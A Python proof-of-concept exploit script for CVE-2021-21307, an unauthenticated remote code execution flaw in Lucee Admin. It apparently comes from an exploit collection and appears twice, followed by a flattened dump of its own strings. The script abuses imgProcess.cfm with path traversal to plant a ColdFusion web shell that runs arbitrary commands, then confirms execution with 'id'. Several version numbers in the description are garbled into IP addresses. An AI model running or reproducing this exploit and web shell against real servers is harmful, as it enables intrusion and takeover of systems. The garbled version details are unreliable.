<filename>2021/CVE-2021-21307/poc/pocsploit/CVE-2021-21307.py<gh_stars>100-1000
import requests


# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''Remote Code Exploit in Lucee Admin''',
        "description": '''Lucee Server is a dynamic, Java based (JSR-223), tag and scripting language used for rapid web application development. In Lucee Admin before versions 192.168.3.11, 5.3.6.68 or 172.16.31.10 there is an unauthenticated remote code exploit. This is fixed in versions 192.168.3.11, 5.3.6.68 or 172.16.31.10. As a workaround, one can block access to the Lucee Administrator.''',
        "severity": "critical",
        "references": [
            "https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r", 
            "https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md", 
            "https://nvd.nist.gov/vuln/detail/CVE-2021-21307"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "cvss-score": "",
            "cve-id": "CVE-2021-21307",
            "cwe-id": "CWE-862"
        },
        "metadata":{
            "vuln-target": "",
            
        },
        "tags": ["cve", "cve2021", "rce", "lucee", "adobe"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    try:
        url = format_url(url)

        path = """/lucee/admin/imgProcess.cfm?file=/whatever"""
        method = "POST"
        data = """imgSrc=a"""
        headers = {'Content-Type': 'application/x-www-form-urlencoded'}
        resp0 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        path = """/lucee/admin/imgProcess.cfm?file=/../../../context/{{randstr}}.cfm"""
        method = "POST"
        data = """imgSrc=
<cfoutput>

<table>
<form method="POST" action="">
<tr><td>Command:</td><td><input type=test name="cmd" size=50
<cfif isdefined("form.cmd")>value="#form.cmd#"</cfif>><br></td></tr>
<tr><td>Options:</td><td> <input type=text name="opts" size=50
<cfif isdefined("form.opts")>value="#form.opts#"</cfif>><br></td></tr>
<tr><td>Timeout:</td><td> <input type=text name="timeout" size=4
<cfif isdefined("form.timeout")>value="#form.timeout#"
<cfelse> value="5"</cfif>></td></tr>
</table>
<input type=submit value="Exec" >
</form>
<cfif isdefined("form.cmd")>
<cfsavecontent variable="myVar">
<cfexecute name = "#Form.cmd#"
arguments = "#Form.opts#"
timeout = "#Form.timeout#">
</cfexecute>
</cfsavecontent>
<pre>
#HTMLCodeFormat(myVar)#
</pre>
</cfif>
</cfoutput>"""
        headers = {'Content-Type': 'application/x-www-form-urlencoded'}
        resp1 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        path = """/lucee/{{randstr}}.cfm"""
        method = "POST"
        data = """cmd=id&opts=&timeout=5"""
        headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Content-Type': 'application/x-www-form-urlencoded'}
        resp2 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        if ("""uid=""" in resp2.text and """gid=""" in resp2.text and """groups=""" in resp2.text) and (resp2.status_code == 200):
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url
<filename>2021/CVE-2021-21307/poc/pocsploit/CVE-2021-21307.py<gh_stars>100-1000
import requests


# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''Remote Code Exploit in Lucee Admin''',
        "description": '''Lucee Server is a dynamic, Java based (JSR-223), tag and scripting language used for rapid web application development. In Lucee Admin before versions 192.168.3.11, 5.3.6.68 or 172.16.31.10 there is an unauthenticated remote code exploit. This is fixed in versions 192.168.3.11, 5.3.6.68 or 172.16.31.10. As a workaround, one can block access to the Lucee Administrator.''',
        "severity": "critical",
        "references": [
            "https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r", 
            "https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md", 
            "https://nvd.nist.gov/vuln/detail/CVE-2021-21307"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "cvss-score": "",
            "cve-id": "CVE-2021-21307",
            "cwe-id": "CWE-862"
        },
        "metadata":{
            "vuln-target": "",
            
        },
        "tags": ["cve", "cve2021", "rce", "lucee", "adobe"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    try:
        url = format_url(url)

        path = """/lucee/admin/imgProcess.cfm?file=/whatever"""
        method = "POST"
        data = """imgSrc=a"""
        headers = {'Content-Type': 'application/x-www-form-urlencoded'}
        resp0 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        path = """/lucee/admin/imgProcess.cfm?file=/../../../context/{{randstr}}.cfm"""
        method = "POST"
        data = """imgSrc=
<cfoutput>

<table>
<form method="POST" action="">
<tr><td>Command:</td><td><input type=test name="cmd" size=50
<cfif isdefined("form.cmd")>value="#form.cmd#"</cfif>><br></td></tr>
<tr><td>Options:</td><td> <input type=text name="opts" size=50
<cfif isdefined("form.opts")>value="#form.opts#"</cfif>><br></td></tr>
<tr><td>Timeout:</td><td> <input type=text name="timeout" size=4
<cfif isdefined("form.timeout")>value="#form.timeout#"
<cfelse> value="5"</cfif>></td></tr>
</table>
<input type=submit value="Exec" >
</form>
<cfif isdefined("form.cmd")>
<cfsavecontent variable="myVar">
<cfexecute name = "#Form.cmd#"
arguments = "#Form.opts#"
timeout = "#Form.timeout#">
</cfexecute>
</cfsavecontent>
<pre>
#HTMLCodeFormat(myVar)#
</pre>
</cfif>
</cfoutput>"""
        headers = {'Content-Type': 'application/x-www-form-urlencoded'}
        resp1 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        path = """/lucee/{{randstr}}.cfm"""
        method = "POST"
        data = """cmd=id&opts=&timeout=5"""
        headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Content-Type': 'application/x-www-form-urlencoded'}
        resp2 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        if ("""uid=""" in resp2.text and """gid=""" in resp2.text and """groups=""" in resp2.text) and (resp2.status_code == 200):
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url
# Vuln Base Info Remote Code Exploit in Lucee Admin Lucee Server is a dynamic, Java based (JSR-223), tag and scripting language used for rapid web application development. In Lucee Admin before versions 192.168.3.11, 5.3.6.68 or 172.16.31.10 there is an unauthenticated remote code exploit. This is fixed in versions 192.168.3.11, 5.3.6.68 or 172.16.31.10. As a workaround, one can block access to the Lucee Administrator. # Vender Fingerprint # Proof of Concept /lucee/admin/imgProcess.cfm?file=/whatever imgSrc=a /lucee/admin/imgProcess.cfm?file=/../../../context/{{randstr}}.cfm imgSrc= <cfoutput>  <table> <form method="POST" action=""> <tr><td>Command:</td><td><input type=test name="cmd" size=50 <cfif isdefined("form.cmd")>value="#form.cmd#"</cfif>><br></td></tr> <tr><td>Options:</td><td> <input type=text name="opts" size=50 <cfif isdefined("form.opts")>value="#form.opts#"</cfif>><br></td></tr> <tr><td>Timeout:</td><td> <input type=text name="timeout" size=4 <cfif isdefined("form.timeout")>value="#form.timeout#" <cfelse> value="5"</cfif>></td></tr> </table> <input type=submit value="Exec" > </form> <cfif isdefined("form.cmd")> <cfsavecontent variable="myVar"> <cfexecute name = "#Form.cmd#" arguments = "#Form.opts#" timeout = "#Form.timeout#"> </cfexecute> </cfsavecontent> <pre> #HTMLCodeFormat(myVar)# </pre> </cfif> </cfoutput> /lucee/{{randstr}}.cfm cmd=id&opts=&timeout=5 uid= gid= groups= # Exploit, can be same with poc() # Utils